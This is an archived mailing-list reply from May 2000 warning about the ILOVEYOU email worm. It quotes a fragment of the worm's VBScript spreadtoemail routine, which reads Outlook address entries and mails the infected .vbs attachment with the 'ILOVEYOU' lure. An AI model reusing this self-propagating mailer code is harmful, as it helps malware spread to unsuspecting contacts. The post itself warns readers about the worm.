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Re: virus?!

On Thu, May 04, 2000 at 08:17:34AM -0500, Mircea Pana wrote:
> This looks like a virus to me. Nigel's mailer was probably "infected" and
> has sent copies to all his/her addresses. One doesn't need to be a VBScript
> expert to read this (extract from the .vbs attachment):

	Big time.  Nasty one similar to freelinks.vbs but much more
virulent.  It's spreading like wildfire amongst the Windows weenies.


> sub spreadtoemail()
> [...]
> malead=a.AddressEntries(x)
> [...]
> set male=out.CreateItem(0)
> male.Recipients.Add(malead)
> male.Subject = "ILOVEYOU"
> male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
> male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
> male.Send
> 
> > -----Original Message-----
> > From: Nigel Ratcliffe [mailto:nigel.ratcliffe@ensoft.co.uk]
> > Sent: Thursday, May 04, 2000 6:02 AM
> > To: Ietf-Ldapext (E-mail)
> > Subject: ILOVEYOU
> > 
> > 
> > 
> > kindly check the attached LOVELETTER coming from me.
> > 
> > 

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